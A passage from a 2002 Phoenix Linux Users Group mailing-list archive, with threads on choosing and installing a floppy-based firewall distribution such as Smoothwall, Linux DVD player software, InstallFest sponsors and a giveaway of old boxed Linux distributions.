else alltogether :) Any help is apreciated thanks :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:52:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 19:52:11 -0700 (PDT) Subject: firewall In-Reply-To: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Message-ID: <20020606025211.27125.qmail@web13908.mail.yahoo.com> Smoothwall at www.smoothwall.org --- Adrian Mink wrote: > Freesco at http://www.freesco.org. > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] > On Behalf Of robert > jorgenson > Sent: Wednesday, June 05, 2002 6:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: firewall > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its > got a floppy drive and a 2 gig HD(couldn't find > anything smaller), a > 3com NIC, a realtek NIC, 64 megs of RAM and i was > wondering what would > be a good small firewall distro that i could install > without a cdrom. > Right now my setup is like this ... > > Parents > Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port > hub--My main box > > Im thinking it would be best to put the firewall > infront of the first 4 > port hub but my parents are wierd and i doubt they > would let me do that, > so i will probably be putting it in front of my hub. > I really just want > something to keep unwanted things out of my box. > Plus i also want to set > up a web/ftp/email server sometime in the near > future but thats > soemthing else alltogether :) Any help is apreciated > thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > post to the list quickly and you use Netscape to > write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:31 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32236@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:24:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 21:24:36 -0700 Subject: firewall In-Reply-To: <200206060301.XAA32236@hostinworld6.com> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> Message-ID: <20020605212436.5f796901.snoogans@qwest.net> From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? On 05 Jun 2002 20:00:31 -0700 "Bryce C." wrote: > I've got a box nearly identical to that running smoothwall for my > network. I've actually got a 13Gb in it, (yes I know it's overkill but > it's for caching my little modem connection). It did have a floppy and > cdrom but I pulled those for other computers because it didn't need > them. Just the floppy drive was all that I needed for install w/network > option. Best router in my opinion it doesn't take forever to boot as > with floppies. Also, great user interface! (Especially once you edit > the files and remove the banners!) Just try it and you'll be amazed. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:33 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32359@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:06:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Wed, 5 Jun 2002 20:06:56 -0700 Subject: DVD Player on Linux Message-ID: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Hi all, First time poster, after lurking for a couple of weeks. I've decided to install and tinker around with Redhat Linux 7.2 after working with Solaris machines for a couple of years. I was wondering if there was any recommendations for DVD player software on the linux platform. So far, I've tried Xine but still couldn't play encrypted DVDs (which is all of my DVD library, unfortunately). Any of you have any experience on this? Yicheng From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:58:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 19:58:50 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060259.WAA30877@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Wed, 5 Jun 2002 21:53:26 -0700 (MST) Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I've had great success with ogle, xine-dvdnav, and mplayer. Ogle so far seems to be the best all around player, but if you're cpu limited, mplayer might work a bit better for you. --Nick On Wed, 5 Jun 2002, Yicheng Li wrote: > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE8/urJv+hjYTGg7s4RAhecAJwIC/6tmuOUwR5PbJdWjHYJgnThOQCghQmZ qN7B1057SPPkA9BRPkEGV7U= =xPf3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:54:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 21:54:09 -0700 Subject: DVD Player on Linux References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <3CFEEAF1.14984AA4@qwest.net> Ogle DVD software: http://www.dtek.chalmers.se/groups/dvd/index.html Yicheng Li wrote: > > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:56:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 00:56:41 -0400 Subject: Who are the sponsors? Message-ID: The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. Alan On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:28:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 5 Jun 2002 22:28:23 -0700 Subject: firewall In-Reply-To: <3CFEBECA.B30192E5@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <3CFEBECA.B30192E5@qwest.net> Message-ID: <200206052228.24139.lists@chevy-lemonade.com> I use e-smith from Mitel in just such a situation. You do need to at least temporarly put in a CD for the install though and have PCI NICs. On Wednesday 05 June 2002 06:45 pm, Kevin Brown wrote: > Take a look at some of these: > > http://freshmeat.net/search/?q=floppy+firewall§ion=projects > > robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got > > a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com > > NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a > > good small firewall distro that i could install without a cdrom. Right > > now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the first 4 > > port hub but my parents are wierd and i doubt they would let me do that, > > so i will probably be putting it in front of my hub. I really just want > > something to keep unwanted things out of my box. Plus i also want to set > > up a web/ftp/email server sometime in the near future but thats soemthing > > else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:23:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 05 Jun 2002 22:23:51 -0700 Subject: Contact for installfest References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> <02060515573215.00730@nova.wedge.org> Message-ID: <3CFEF1E7.D46356DB@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Bill is the coordinator for the Install Fest. > > And we will indubitably be keeping tabs on how successful every install goes > and if a problem crops up, we should be noting the reason(s). networked bugtracker ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:32:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 22:32:13 -0700 (PDT) Subject: Who are the sponsors? In-Reply-To: Message-ID: I wonder if Intel would be willing to help out? Especially since they're giving a presentation to the PLUG next week... Could whoever is in contact with them for their presentation ask them if they'd like to be involved in the InstallFest? On Thu, 6 Jun 2002 alandd@mindspring.com wrote: > The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. > > I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. > > Alan > > On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: > > If someone will give me a list of "offical" sponsors to be included in the PR > I'll add that tonight and post it back to the list. > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:45:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 22:45:20 -0700 Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <200206060545.BAA20309@hostinworld6.com> I don't remeber exactly how I did it but I think I mounted the ISO, copied the .tgz file from inside the mount to my webserver and created a boot floppy from the files in the images/ directory at the same time, I think. On 05 Jun 2002 21:24:36 -0700, robert jorgenson wrote: > >From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running smoothwall for my > > network. I've actually got a 13Gb in it, (yes I know it's overkill but > > it's for caching my little modem connection). It did have a floppy and > > cdrom but I pulled those for other computers because it didn't need > > them. Just the floppy drive was all that I needed for install w/network > > option. Best router in my opinion it doesn't take forever to boot as > > with floppies. Also, great user interface! (Especially once you edit > > the files and remove the banners!) Just try it and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port hub--My main box > > > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:51:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 22:51:01 -0700 (PDT) Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <20020606055101.25994.qmail@web13904.mail.yahoo.com> If you download the user guide, which is also an installation guide it gives details on how to install without a cd-rom. You do need an HTTP or an FTP server on your own private network to get it done. The user guide explains it all. mike --- robert jorgenson wrote: > From thier site it appears you need a 20MB cd iso > image to install smoothwall ... am i missing > something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running > smoothwall for my > > network. I've actually got a 13Gb in it, (yes I > know it's overkill but > > it's for caching my little modem connection). It > did have a floppy and > > cdrom but I pulled those for other computers > because it didn't need > > them. Just the floppy drive was all that I needed > for install w/network > > option. Best router in my opinion it doesn't take > forever to boot as > > with floppies. Also, great user interface! > (Especially once you edit > > the files and remove the banners!) Just try it > and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 > port hub--My main box > > > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > > > ________________________________________________ > > > See > http://PLUG.phoenix.az.us/navigator-mail.shtml if > your mail doesn't post to the list quickly and you > use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:22:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 23:22:18 -0700 Subject: firewall In-Reply-To: <20020606055101.25994.qmail@web13904.mail.yahoo.com> References: <20020605212436.5f796901.snoogans@qwest.net> <20020606055101.25994.qmail@web13904.mail.yahoo.com> Message-ID: <20020605232218.1a498f78.snoogans@qwest.net> Can i set up smoothwall so i still go through the qwest box for the dhcp server? Or will i have to split the main internet line to go through the smoothwall box and the qwest gatewaybox(for the wierd parents) and just have my own network? Also which option would be more secure? On Wed, 5 Jun 2002 22:51:01 -0700 (PDT) "MCR" wrote: > If you download the user guide, which is also an > installation guide it gives details on how to install > without a cd-rom. You do need an HTTP or an FTP > server on your own private network to get it done. > The user guide explains it all. > mike > > --- robert jorgenson wrote: > > From thier site it appears you need a 20MB cd iso > > image to install smoothwall ... am i missing > > something somewhere? > > > > On 05 Jun 2002 20:00:31 -0700 > > "Bryce C." wrote: > > > > > I've got a box nearly identical to that running > > smoothwall for my > > > network. I've actually got a 13Gb in it, (yes I > > know it's overkill but > > > it's for caching my little modem connection). It > > did have a floppy and > > > cdrom but I pulled those for other computers > > because it didn't need > > > them. Just the floppy drive was all that I needed > > for install w/network > > > option. Best router in my opinion it doesn't take > > forever to boot as > > > with floppies. Also, great user interface! > > (Especially once you edit > > > the files and remove the banners!) Just try it > > and you'll be amazed. > > > > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > > wrote: > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro that i could > > install without a cdrom. Right now my setup is like > > this ... > > > > > > > > > > Parents Wintendo Box > > > > / > > > > Internet--qwest gateway box--4 port hub--[ > > > > \ > > > > 8 > > port hub--My main box > > > > > > > > Im thinking it would be best to put the firewall > > infront of the first 4 port hub but my parents are > > wierd and i doubt they would let me do that, so i > > will probably be putting it in front of my hub. I > > really just want something to keep unwanted things > > out of my box. Plus i also want to set up a > > web/ftp/email server sometime in the near future but > > thats soemthing else alltogether :) Any help is > > apreciated thanks :) > > > > > > > > ________________________________________________ > > > > See > > http://PLUG.phoenix.az.us/navigator-mail.shtml if > > your mail doesn't post to the list quickly and you > > use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > > if your mail doesn't post to the list quickly and > > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:25:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Wed, 5 Jun 2002 23:25:52 -0700 Subject: Random stuff to give away Message-ID: <200206052325.52735@granroth.org> I have the following list of random distributions and stuff that I no longer use. If anybody wants it, they can have it. Perhaps some of it could be used for the InstallFest? Or door prizes? Or whatever... All the distributions are the retail boxed versions (no "download" or "gpled" ones). They all come with all necessary CDs, boot disks (and DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless noted) may or may not have all the stickers and tie tacks and the like. I don't think I'll be making any meetings any time soon so if you want any of this, you'll have to stop on by my house and pick 'em up. Give me a private email for directions. ----------------------------------------------------------------------- Red Hat Linux 6.0 Red Hat Linux 6.1 Deluxe Red Hat Linux 6.2 Deluxe Red Hat Linux 7.0 Standard SuSE 6.2 [1] SuSE 6.3 (Missing CD1 -- am looking for it now) SuSE 6.4 German [2] SuSE 7.0 Professional SuSE 7.1 Professional [3] SuSE 7.1 Professional SuSE 7.2 Professional Debian 2.1 Boxed Set [4] Storm Linux 2000 [5] Mandrake Linux 7.1 Essential Caldera OpenLinux 2.3 [6] KDE 2.0 Development Book (4 copies) [7] [1] Also includes a full set of the German CDs which come with the crypto packages (ssh, pgp, etc). The US CDs did not, back then [2] This is the German version. All the CDs installation is in English but the docs are all in German. [3] This is like new! I opened it once but never used it. It includes everything. [4] This is the boxed set that VA Linux and SGI were distributing awhile back. Even if you don't use the CD, the included O'Reilly "Learning Debian GNU/Linux" book(!) (and Debian quick-start booklet and Debian bumper sticker) make this worth having. [5] I got this at a show but never even opened it (no spare boxes). It's a Debian based system with a graphical installation. Looks slick but Storm has since gone out of business. [6] Older, but was first distro to come with Partition Magic and a full graphical installation. [7] This is *the* "how to develop KDE applications" book. Most of it applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:56:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 5 Jun 2002 23:56:14 -0700 Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <200206052356.21652.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 05 June 2002 20:06, Yicheng Li wrote: > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > 